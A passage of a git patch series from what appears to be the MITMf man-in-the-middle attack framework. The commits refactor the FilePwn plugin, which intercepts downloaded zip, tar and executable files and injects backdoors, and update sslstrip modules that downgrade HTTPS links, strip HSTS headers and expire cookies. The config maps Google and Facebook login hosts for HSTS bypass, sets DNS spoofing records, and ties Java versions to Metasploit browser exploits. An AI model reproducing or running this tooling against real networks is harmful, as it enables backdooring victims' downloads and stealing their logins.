''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) tmpDir = '/tmp/' + tmpRan @@ -520,9 +531,11 @@ class FilePwn(Plugin): if wasPatched is False: print "[*] No files were patched forwarding original file" - return aZipFile + self.patched.put(aZipFile) + return else: - return tempZipFile + self.patched.put(tempZipFile) + return def handleResponse(self, request, data): @@ -533,7 +546,13 @@ class FilePwn(Plugin): if self.bytes_have_format(data, 'zip'): logging.info("%s Detected supported zip file type!" % client_ip) - bd_zip = self.zip_files(data) + + process = multiprocessing.Process(target=self.zip, args=(data,)) + process.daemon = True + process.start() + process.join() + bd_zip = self.patched.get() + if bd_zip: logging.info("%s Patching complete, forwarding to client" % client_ip) return {'request': request, 'data': bd_zip} @@ -542,7 +561,13 @@ class FilePwn(Plugin): for tartype in ['gz','bz','tar']: if self.bytes_have_format(data, tartype): logging.info("%s Detected supported tar file type!" % client_ip) - bd_tar = self.tar_files(data) + + process = multiprocessing.Process(target=self.tar_files, args=(data,)) + process.daemon = True + process.start() + process.join() + bd_tar = self.patched.get() + if bd_tar: logging.info("%s Patching complete, forwarding to client" % client_ip) return {'request': request, 'data': bd_tar} @@ -556,8 +581,12 @@ class FilePwn(Plugin): with open(tmpFile, 'w') as f: f.write(data) - patchb = self.binaryGrinder(tmpFile) - + process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) + process.daemon = True + process.start() + process.join() + patchb = self.patched.get() + if patchb: bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() os.remove('./backdoored/' + os.path.basename(tmpFile)) From 75173c6b9da703027b2fd9531bc579e569c6db5d Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Wed, 1 Apr 2015 01:25:05 +0200 Subject: [PATCH 128/323] added names to threads --- plugins/FilePwn.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index bd1f6bd..09358fe 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -547,12 +547,12 @@ class FilePwn(Plugin): if self.bytes_have_format(data, 'zip'): logging.info("%s Detected supported zip file type!" % client_ip) - process = multiprocessing.Process(target=self.zip, args=(data,)) + process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) process.daemon = True process.start() process.join() bd_zip = self.patched.get() - + if bd_zip: logging.info("%s Patching complete, forwarding to client" % client_ip) return {'request': request, 'data': bd_zip} @@ -562,12 +562,12 @@ class FilePwn(Plugin): if self.bytes_have_format(data, tartype): logging.info("%s Detected supported tar file type!" % client_ip) - process = multiprocessing.Process(target=self.tar_files, args=(data,)) + process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) process.daemon = True process.start() process.join() bd_tar = self.patched.get() - + if bd_tar: logging.info("%s Patching complete, forwarding to client" % client_ip) return {'request': request, 'data': bd_tar} @@ -580,7 +580,7 @@ class FilePwn(Plugin): fd, tmpFile = mkstemp() with open(tmpFile, 'w') as f: f.write(data) - + process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) process.daemon = True process.start() From 1a8d5191c4d62d057d1ff9d34230b78f0ba93e49 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 9 Apr 2015 17:29:22 +0200 Subject: [PATCH 129/323] Filepwn plugin is now multithreaded (backported) --- plugins/FilePwn.py | 77 +++++++++++++++++++++++++++++++++++++--------- 1 file changed, 63 insertions(+), 14 deletions(-) diff --git a/plugins/FilePwn.py b/plugins/FilePwn.py index 630a314..09358fe 100644 --- a/plugins/FilePwn.py +++ b/plugins/FilePwn.py @@ -1,3 +1,23 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + """ BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' @@ -45,6 +65,8 @@ import shutil import random import string import tarfile +import multiprocessing + from libs.bdfactory import pebin from libs.bdfactory import elfbin from libs.bdfactory import machobin @@ -65,6 +87,8 @@ class FilePwn(Plugin): '''Called if plugin is enabled, passed the options namespace''' self.options = options + self.patched = multiprocessing.Queue() + #FOR FUTURE USE self.binaryMimeTypes = ["application/octet-stream", 'application/x-msdownload', 'application/x-msdos-program', 'binary/octet-stream'] @@ -262,7 +286,8 @@ class FilePwn(Plugin): ) result = targetFile.run_this() - return result + self.patched.put(result) + return except Exception as e: print 'Exception', str(e) @@ -277,7 +302,8 @@ class FilePwn(Plugin): if len(aTarFileBytes) > int(self.userConfig['TAR']['maxSize']): print "[!] TarFile over allowed size" logging.info("TarFIle maxSize met %s", len(aTarFileBytes)) - return aTarFileBytes + self.patched.put(aTarFileBytes) + return with tempfile.NamedTemporaryFile() as tarFileStorage: tarFileStorage.write(aTarFileBytes) @@ -285,7 +311,8 @@ class FilePwn(Plugin): if not tarfile.is_tarfile(tarFileStorage.name): print '[!] Not a tar file' - return aTarFileBytes + self.patched.put(aTarFileBytes) + return compressionMode = ':' if formatt == 'gz': @@ -302,7 +329,8 @@ class FilePwn(Plugin): if tarFile is None: print '[!] Not a tar file' - return aTarFileBytes + self.patched.put(aTarFileBytes) + return print '[*] Tar file contents and info:' print '[*] Compression:', formatt @@ -388,9 +416,11 @@ class FilePwn(Plugin): if wasPatched is False: # If nothing was changed return the original print "[*] No files were patched forwarding original file" - return aTarFileBytes + self.patched.put(aTarFileBytes) + return else: - return ret + self.patched.put(ret) + return def zip_files(self, aZipFile): "When called will unpack and edit a Zip File and return a zip file" @@ -400,7 +430,8 @@ class FilePwn(Plugin): if len(aZipFile) > int(self.userConfig['ZIP']['maxSize']): print "[!] ZipFile over allowed size" logging.info("ZipFIle maxSize met %s", len(aZipFile)) - return aZipFile + self.patched.put(aZipFile) + return tmpRan = ''.join(random.choice(string.ascii_lowercase + string.digits + string.ascii_uppercase) for _ in range(8)) tmpDir = '/tmp/' + tmpRan @@ -500,9 +531,11 @@ class FilePwn(Plugin): if wasPatched is False: print "[*] No files were patched forwarding original file" - return aZipFile + self.patched.put(aZipFile) + return else: - return tempZipFile + self.patched.put(tempZipFile) + return def handleResponse(self, request, data): @@ -513,7 +546,13 @@ class FilePwn(Plugin): if self.bytes_have_format(data, 'zip'): logging.info("%s Detected supported zip file type!" % client_ip) - bd_zip = self.zip_files(data) + + process = multiprocessing.Process(name='zip', target=self.zip, args=(data,)) + process.daemon = True + process.start() + process.join() + bd_zip = self.patched.get() + if bd_zip: logging.info("%s Patching complete, forwarding to client" % client_ip) return {'request': request, 'data': bd_zip} @@ -522,7 +561,13 @@ class FilePwn(Plugin): for tartype in ['gz','bz','tar']: if self.bytes_have_format(data, tartype): logging.info("%s Detected supported tar file type!" % client_ip) - bd_tar = self.tar_files(data) + + process = multiprocessing.Process(name='tar_files', target=self.tar_files, args=(data,)) + process.daemon = True + process.start() + process.join() + bd_tar = self.patched.get() + if bd_tar: logging.info("%s Patching complete, forwarding to client" % client_ip) return {'request': request, 'data': bd_tar} @@ -535,9 +580,13 @@ class FilePwn(Plugin): fd, tmpFile = mkstemp() with open(tmpFile, 'w') as f: f.write(data) - - patchb = self.binaryGrinder(tmpFile) - + + process = multiprocessing.Process(name='binaryGrinder', target=self.binaryGrinder, args=(tmpFile,)) + process.daemon = True + process.start() + process.join() + patchb = self.patched.get() + if patchb: bd_binary = open("backdoored/" + os.path.basename(tmpFile), "rb").read() os.remove('./backdoored/' + os.path.basename(tmpFile)) From d4c6b7d5b62a358c7b7938dd8273d283b9decf40 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Sat, 11 Apr 2015 00:38:48 +0200 Subject: [PATCH 130/323] - Logging is now seperate for each module - added DNSChef submodule - Code style improvements - modified config file name , and options - Changed requirements and README --- .gitmodules | 3 + README.md | 15 ++- config/{mitmf.cfg => mitmf.conf} | 145 +++++++++++++++-------- core/sslstrip/ClientRequest.py | 25 ++-- core/sslstrip/DnsCache.py | 4 +- core/sslstrip/SSLServerConnection.py | 14 ++- core/sslstrip/ServerConnection.py | 34 +++--- core/sslstrip/ServerConnectionFactory.py | 6 +- core/sslstrip/URLMonitor.py | 14 ++- core/utils.py | 4 +- core/wrappers/protocols.py | 27 +++-- libs/dnschef | 1 + logs/.gitignore | 1 + logs/dnschef/.gitignore | 2 + mitmf.py | 7 +- plugins/AppCachePoison.py | 16 +-- plugins/BeefAutorun.py | 16 +-- plugins/BrowserProfiler.py | 4 +- plugins/FilePwn.py | 109 +++++++++-------- plugins/Inject.py | 4 +- plugins/JavaPwn.py | 33 +++--- plugins/Replace.py | 5 +- plugins/SSLstrip+.py | 17 +-- plugins/SessionHijacker.py | 14 ++- plugins/Sniffer.py | 8 +- plugins/Spoof.py | 25 ++-- plugins/Upsidedownternet.py | 5 +- requirements.txt | 1 - 28 files changed, 317 insertions(+), 242 deletions(-) rename config/{mitmf.cfg => mitmf.conf} (72%) create mode 160000 libs/dnschef create mode 100644 logs/dnschef/.gitignore diff --git a/.gitmodules b/.gitmodules index fbdd874..ca49b01 100644 --- a/.gitmodules +++ b/.gitmodules @@ -7,3 +7,6 @@ [submodule "core/beefapi"] path = core/beefapi url = https://github.com/byt3bl33d3r/beefapi +[submodule "libs/dnschef"] + path = libs/dnschef + url = https://github.com/byt3bl33d3r/dnschef diff --git a/README.md b/README.md index fc72ea7..e6364b1 100644 --- a/README.md +++ b/README.md @@ -11,13 +11,9 @@ This tool is based on [sergio-proxy](https://github.com/supernothing/sergio-prox Dependency change! =================== -As of v0.9.5 DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install. +As of v0.9.5, DNS tampering support needs NetfilterQueue v0.6 which is currently a fork, so it *cannot* be installed via pip or easy_install. -Download it from here https://github.com/fqrouter/python-netfilterqueue and manually install it. - -Installation -============ -If MITMf is not in your distribuitions repo, or you just want the latest version, clone the repo run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file +**Please read the [install](#installation) guide for details** Availible plugins ================= @@ -64,6 +60,13 @@ Changelog - Addition of the app-cache poisoning attack by [Krzysztof Kotowicz](https://github.com/koto/sslstrip) (blogpost explaining the attack here http://blog.kotowicz.net/2010/12/squid-imposter-phishing-websites.html) +Installation +============ +If MITMf is not in your distros repo or you just want the latest version, clone this repository run the ```setup.sh``` script and install all python dependencies in the ```requirements.txt``` file using ```pip```. + +Then, download the ```python-netfilterqueue``` library from here +https://github.com/fqrouter/python-netfilterqueue and manually install it. + Submitting Issues ================= If you have *questions* regarding the framework please email me at byt3bl33d3r@gmail.com diff --git a/config/mitmf.cfg b/config/mitmf.conf similarity index 72% rename from config/mitmf.cfg rename to config/mitmf.conf index 693ebb2..469f737 100644 --- a/config/mitmf.cfg +++ b/config/mitmf.conf @@ -1,8 +1,14 @@ -#MITMf configuration +# +#MITMf configuration file +# [MITMf] - #here you can set the arguments to pass to MITMf when it starts so all you need to do is run ```python mitmf.py``` (assuming you config file is in the default directory) + # + #here you can set the arguments to pass to MITMf when it starts so all you need to do is run `python mitmf.py` + #(assuming you config file is in the default directory) + # + args='' #Required BeEF and Metasploit options @@ -17,9 +23,9 @@ rpcip = 127.0.0.1 rpcpass = abc123 -#-----------------------------------------------------------------------------------------------------------------------------------------# - +# #Plugin configuration starts here +# [Spoof] @@ -28,10 +34,53 @@ subnet = 255.255.255.0 dns_server = 192.168.2.20 #optional + [[DNS]] - www.facebook.com = 192.168.10.1 - google.com = 192.168.20.61 + # + #Here you can configure DNSChef's options + # + + port = 53 #Port to listen on + nameservers = 8.8.8.8 #Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888 + tcp = Off #Use the TCP DNS proxy instead of the default UDP + ipv6 = Off #Run in IPv6 mode + + [[[A]]] # Queries for IPv4 address records + *.thesprawl.org=192.0.2.1 + + [[[AAAA]]] # Queries for IPv6 address records + *.thesprawl.org=2001:db8::1 + + [[[MX]]] # Queries for mail server records + *.thesprawl.org=mail.fake.com + + [[[NS]]] # Queries for mail server records + *.thesprawl.org=ns.fake.com + + [[[CNAME]]] # Queries for alias records + *.thesprawl.org=www.fake.com + + [[[TXT]]] # Queries for text records + *.thesprawl.org=fake message + + [[[PTR]]] # PTR queries + *.2.0.192.in-addr.arpa=fake.com + + [[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5 + *.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600 + + [[[NAPTR]]] #FORMAT: order preference flags service regexp replacement + *.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! . + + [[[SRV]]] #FORMAT: priority weight port target + *.*.thesprawl.org=0 5 5060 sipserver.fake.com + + [[[DNSKEY]]] #FORMAT: flags protocol algorithm base64(key) + *.thesprawl.org=256 3 5 AQPSKmynfzW4kyBv015MUG2DeIQ3Cbl+BBZH4b/0PY1kxkmvHjcZc8nokfzj31GajIQKY+5CptLr3buXA10hWqTkF7H6RfoRqXQeogmMHfpftf6zMv1LyBUgia7za6ZEzOJBOztyvhjL742iU/TpPSEDhm2SNKLijfUppn1UaNvv4w== + + [[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig) + *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o= [Responder] @@ -192,8 +241,11 @@ #you can add other scripts in additional sections like jQuery etc. [JavaPwn] + + # # All versions strings without a * are considered vulnerable if clients Java version is <= update version # When adding more exploits remember the following format: version string (eg 1.6.0) + update version (eg 28) = 1.6.0.28 + # [[Multi]] #Cross platform exploits, yay java! <3 @@ -221,8 +273,10 @@ windows/browser/java_mixer_sequencer = 1.6.0.18 [SSLstrip+] - #here you can configure your domains to bypass HSTS on - #the format is real.domain.com = fake.domain.com + + # + #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com + # #for google and gmail accounts.google.com = account.google.com @@ -232,46 +286,43 @@ #for facebook www.facebook.com = social.facebook.com -#-----------------------------------------------------------------------------------------------------------------------------------------# - -# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' -# -# Author Joshua Pitts the.midnite.runr 'at' gmail com -# -# Copyright (c) 2013-2014, Joshua Pitts -# All rights reserved. -# -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: -# -# 1. Redistributions of source code must retain the above copyright notice, -# this list of conditions and the following disclaimer. -# -# 2. Redistributions in binary form must reproduce the above copyright notice, -# this list of conditions and the following disclaimer in the documentation -# and/or other materials provided with the distribution. -# -# 3. Neither the name of the copyright holder nor the names of its contributors -# may be used to endorse or promote products derived from this software without -# specific prior written permission. -# -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE -# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE -# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR -# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF -# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS -# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE -# POSSIBILITY OF SUCH DAMAGE. -# -# Tested on Kali-Linux. - -#-----------------------------------------------------------------------------------------------------------------------------------------# - [FilePwn] + + # BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' + # + # Author Joshua Pitts the.midnite.runr 'at' gmail com + # + # Copyright (c) 2013-2014, Joshua Pitts + # All rights reserved. + # + # Redistribution and use in source and binary forms, with or without modification, + # are permitted provided that the following conditions are met: + # + # 1. Redistributions of source code must retain the above copyright notice, + # this list of conditions and the following disclaimer. + # + # 2. Redistributions in binary form must reproduce the above copyright notice, + # this list of conditions and the following disclaimer in the documentation + # and/or other materials provided with the distribution. + # + # 3. Neither the name of the copyright holder nor the names of its contributors + # may be used to endorse or promote products derived from this software without + # specific prior written permission. + # + # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" + # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE + # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR + # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF + # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS + # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN + # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) + # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE + # POSSIBILITY OF SUCH DAMAGE. + # + # Tested on Kali-Linux. + [[ZIP]] # patchCount is the max number of files to patch in a zip file # After the max is reached it will bypass the rest of the files diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index f5d92a8..7df4255 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -34,7 +34,8 @@ from URLMonitor import URLMonitor from CookieCleaner import CookieCleaner from DnsCache import DnsCache from core.sergioproxy.ProxyPlugins import ProxyPlugins -from configobj import ConfigObj + +mitmf_logger = logging.getLogger('mitmf') class ClientRequest(Request): @@ -58,7 +59,7 @@ class ClientRequest(Request): headers = self.getAllHeaders().copy() #for k,v in headers.iteritems(): - # logging.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) + # mitmf_logger.debug("[ClientRequest] Receiving headers: (%s => %s)" % (k, v)) if self.hsts: @@ -73,13 +74,13 @@ class ClientRequest(Request): if 'host' in headers: host = self.urlMonitor.URLgetRealHost(str(headers['host'])) - logging.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host)) + mitmf_logger.debug("[ClientRequest][HSTS] Modifing HOST header: %s -> %s" % (headers['host'], host)) headers['host'] = host self.setHeader('Host', host) if 'accept-encoding' in headers: del headers['accept-encoding'] - logging.debug("Zapped encoding") + mitmf_logger.debug("Zapped encoding") if 'if-modified-since' in headers: del headers['if-modified-since'] @@ -110,7 +111,7 @@ class ClientRequest(Request): return "lock.ico" def handleHostResolvedSuccess(self, address): - logging.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) + mitmf_logger.debug("[ClientRequest] Resolved host successfully: %s -> %s" % (self.getHeader('host'), address)) host = self.getHeader("host") headers = self.cleanHeaders() client = self.getClientIP() @@ -148,22 +149,22 @@ class ClientRequest(Request): self.dnsCache.cacheResolution(hostparts[0], address) if (not self.cookieCleaner.isClean(self.method, client, host, headers)): - logging.debug("Sending expired cookies...") + mitmf_logger.debug("Sending expired cookies...") self.sendExpiredCookies(host, path, self.cookieCleaner.getExpireHeaders(self.method, client, host, headers, path)) elif (self.urlMonitor.isSecureFavicon(client, path)): - logging.debug("Sending spoofed favicon response...") + mitmf_logger.debug("Sending spoofed favicon response...") self.sendSpoofedFaviconResponse() elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): if 'securelink' in headers: del headers['securelink'] - logging.debug("Sending request via SSL...(%s %s)" % (client,url)) + mitmf_logger.debug("Sending request via SSL...(%s %s)" % (client,url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: - logging.debug("Sending request via HTTP...") + mitmf_logger.debug("Sending request via HTTP...") #self.proxyViaHTTP(address, self.method, path, postData, headers) port = 80 if len(hostparts) > 1: @@ -182,14 +183,14 @@ class ClientRequest(Request): address = self.dnsCache.getCachedAddress(host) if address != None: - logging.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) + mitmf_logger.debug("[ClientRequest] Host cached: %s %s" % (host, str(address))) return defer.succeed(address) else: - logging.debug("[ClientRequest] Host not cached.") + mitmf_logger.debug("[ClientRequest] Host not cached.") return reactor.resolve(host) def process(self): - logging.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) + mitmf_logger.debug("[ClientRequest] Resolving host: %s" % (self.getHeader('host'))) host = self.getHeader('host').split(":")[0] if self.hsts: diff --git a/core/sslstrip/DnsCache.py b/core/sslstrip/DnsCache.py index 6f4e678..926835a 100644 --- a/core/sslstrip/DnsCache.py +++ b/core/sslstrip/DnsCache.py @@ -18,6 +18,8 @@ import logging +mitmf_logger = logging.getLogger('mitmf') + class DnsCache: ''' @@ -49,7 +51,7 @@ class DnsCache: def setCustomRes(self, host, ip_address=None): if ip_address is not None: self.cache[host] = ip_address - logging.debug("DNS entry set: %s -> %s" %(host, ip_address)) + mitmf_logger.debug("DNS entry set: %s -> %s" %(host, ip_address)) else: if self.customAddress is not None: self.cache[host] = self.customAddress diff --git a/core/sslstrip/SSLServerConnection.py b/core/sslstrip/SSLServerConnection.py index dd66c6f..406d100 100644 --- a/core/sslstrip/SSLServerConnection.py +++ b/core/sslstrip/SSLServerConnection.py @@ -21,6 +21,8 @@ import logging, re, string from ServerConnection import ServerConnection from URLMonitor import URLMonitor +mitmf_logger = logging.getLogger('mitmf') + class SSLServerConnection(ServerConnection): ''' @@ -55,11 +57,11 @@ class SSLServerConnection(ServerConnection): for v in values: if v[:7].lower()==' domain': dominio=v.split("=")[1] - logging.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) + mitmf_logger.debug("[SSLServerConnection][HSTS] Parsing cookie domain parameter: %s"%v) real = self.urlMonitor.sustitucion if dominio in real: v=" Domain=%s"%real[dominio] - logging.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) + mitmf_logger.debug("[SSLServerConnection][HSTS] New cookie domain parameter: %s"%v) newvalues.append(v) value = ';'.join(newvalues) @@ -83,13 +85,13 @@ class SSLServerConnection(ServerConnection): if ((not link.startswith('http')) and (not link.startswith('/'))): absoluteLink = "http://"+self.headers['host']+self.stripFileFromPath(self.uri)+'/'+link - logging.debug("Found path-relative link in secure transmission: " + link) - logging.debug("New Absolute path-relative link: " + absoluteLink) + mitmf_logger.debug("Found path-relative link in secure transmission: " + link) + mitmf_logger.debug("New Absolute path-relative link: " + absoluteLink) elif not link.startswith('http'): absoluteLink = "http://"+self.headers['host']+link - logging.debug("Found relative link in secure transmission: " + link) - logging.debug("New Absolute link: " + absoluteLink) + mitmf_logger.debug("Found relative link in secure transmission: " + link) + mitmf_logger.debug("New Absolute link: " + absoluteLink) if not absoluteLink == "": absoluteLink = absoluteLink.replace('&', '&') diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 5a3a8ab..43ec557 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -28,6 +28,8 @@ from twisted.web.http import HTTPClient from URLMonitor import URLMonitor from core.sergioproxy.ProxyPlugins import ProxyPlugins +mitmf_logger = logging.getLogger('mitmf') + class ServerConnection(HTTPClient): ''' The server connection is where we do the bulk of the stripping. Everything that @@ -72,14 +74,14 @@ class ServerConnection(HTTPClient): except: self.clientInfo = "%s " % self.client.getClientIP() - logging.info(self.clientInfo + "Sending Request: %s" % self.headers['host']) + mitmf_logger.info(self.clientInfo + "Sending Request: %s" % self.headers['host']) self.plugins.hook() self.sendCommand(self.command, self.uri) def sendHeaders(self): for header, value in self.headers.iteritems(): - logging.debug("Sending header: (%s => %s)" % (header, value)) + mitmf_logger.debug("Sending header: (%s => %s)" % (header, value)) self.sendHeader(header, value) self.endHeaders() @@ -94,7 +96,7 @@ class ServerConnection(HTTPClient): self.transport.write(self.postData) def connectionMade(self): - logging.debug("HTTP connection made.") + mitmf_logger.debug("HTTP connection made.") self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -103,11 +105,11 @@ class ServerConnection(HTTPClient): self.sendPostData() def handleStatus(self, version, code, message): - logging.debug("Got server response: %s %s %s" % (version, code, message)) + mitmf_logger.debug("Got server response: %s %s %s" % (version, code, message)) self.client.setResponseCode(int(code), message) def handleHeader(self, key, value): - logging.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) + mitmf_logger.debug("[ServerConnection] Receiving header: (%s => %s)" % (key, value)) if (key.lower() == 'location'): value = self.replaceSecureLinks(value) @@ -117,15 +119,15 @@ class ServerConnection(HTTPClient): if (key.lower() == 'content-type'): if (value.find('image') != -1): self.isImageRequest = True - logging.debug("Response is image content, not scanning...") + mitmf_logger.debug("Response is image content, not scanning...") if (key.lower() == 'content-encoding'): if (value.find('gzip') != -1): - logging.debug("Response is compressed...") + mitmf_logger.debug("Response is compressed...") self.isCompressed = True elif (key.lower()== 'strict-transport-security'): - logging.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP()) + mitmf_logger.info("%s Zapped a strict-trasport-security header" % self.client.getClientIP()) elif (key.lower() == 'content-length'): self.contentLength = value @@ -162,10 +164,10 @@ class ServerConnection(HTTPClient): def handleResponse(self, data): if (self.isCompressed): - logging.debug("Decompressing content...") + mitmf_logger.debug("Decompressing content...") data = gzip.GzipFile('', 'rb', 9, StringIO.StringIO(data)).read() - #logging.debug("Read from server:\n" + data) + #mitmf_logger.debug("Read from server:\n" + data) data = self.replaceSecureLinks(data) res = self.plugins.hook() @@ -182,7 +184,7 @@ class ServerConnection(HTTPClient): try: self.shutdown() except: - logging.info("Client connection dropped before request finished.") + mitmf_logger.info("Client connection dropped before request finished.") def replaceSecureLinks(self, data): if self.hsts: @@ -198,9 +200,9 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - logging.debug("[ServerConnection] Found secure reference: " + url) + mitmf_logger.debug("[ServerConnection] Found secure reference: " + url) nuevaurl=self.urlMonitor.addSecureLink(self.client.getClientIP(), url) - logging.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) + mitmf_logger.debug("[ServerConnection][HSTS] Replacing %s => %s"%(url,nuevaurl)) sustitucion[url] = nuevaurl #data.replace(url,nuevaurl) @@ -209,11 +211,11 @@ class ServerConnection(HTTPClient): dregex = re.compile("(%s)" % "|".join(map(re.escape, sustitucion.keys()))) data = dregex.sub(lambda x: str(sustitucion[x.string[x.start() :x.end()]]), data) - #logging.debug("HSTS DEBUG received data:\n"+data) + #mitmf_logger.debug("HSTS DEBUG received data:\n"+data) #data = re.sub(ServerConnection.urlExplicitPort, r'https://\1/', data) #data = re.sub(ServerConnection.urlTypewww, 'http://w', data) #if data.find("http://w.face")!=-1: - # logging.debug("HSTS DEBUG Found error in modifications") + # mitmf_logger.debug("HSTS DEBUG Found error in modifications") # raw_input("Press Enter to continue") #return re.sub(ServerConnection.urlType, 'http://web.', data) return data @@ -225,7 +227,7 @@ class ServerConnection(HTTPClient): for match in iterator: url = match.group() - logging.debug("Found secure reference: " + url) + mitmf_logger.debug("Found secure reference: " + url) url = url.replace('https://', 'http://', 1) url = url.replace('&', '&') diff --git a/core/sslstrip/ServerConnectionFactory.py b/core/sslstrip/ServerConnectionFactory.py index d6eb18e..759eaef 100644 --- a/core/sslstrip/ServerConnectionFactory.py +++ b/core/sslstrip/ServerConnectionFactory.py @@ -19,6 +19,8 @@ import logging from twisted.internet.protocol import ClientFactory +mitmf_logger = logging.getLogger('mimtf') + class ServerConnectionFactory(ClientFactory): def __init__(self, command, uri, postData, headers, client): @@ -32,12 +34,12 @@ class ServerConnectionFactory(ClientFactory): return self.protocol(self.command, self.uri, self.postData, self.headers, self.client) def clientConnectionFailed(self, connector, reason): - logging.debug("Server connection failed.") + mitmf_logger.debug("Server connection failed.") destination = connector.getDestination() if (destination.port != 443): - logging.debug("Retrying via SSL") + mitmf_logger.debug("Retrying via SSL") self.client.proxyViaSSL(self.headers['host'], self.command, self.uri, self.postData, self.headers, 443) else: try: diff --git a/core/sslstrip/URLMonitor.py b/core/sslstrip/URLMonitor.py index d3b34f4..2f3c58d 100644 --- a/core/sslstrip/URLMonitor.py +++ b/core/sslstrip/URLMonitor.py @@ -19,6 +19,8 @@ import re, os import logging +mitmf_logger = logging.getLogger('mimtf') + class URLMonitor: ''' @@ -72,7 +74,7 @@ class URLMonitor: s.add(to_url) return url_set = set([from_url, to_url]) - logging.debug("[URLMonitor][AppCachePoison] Set redirection: %s" % url_set) + 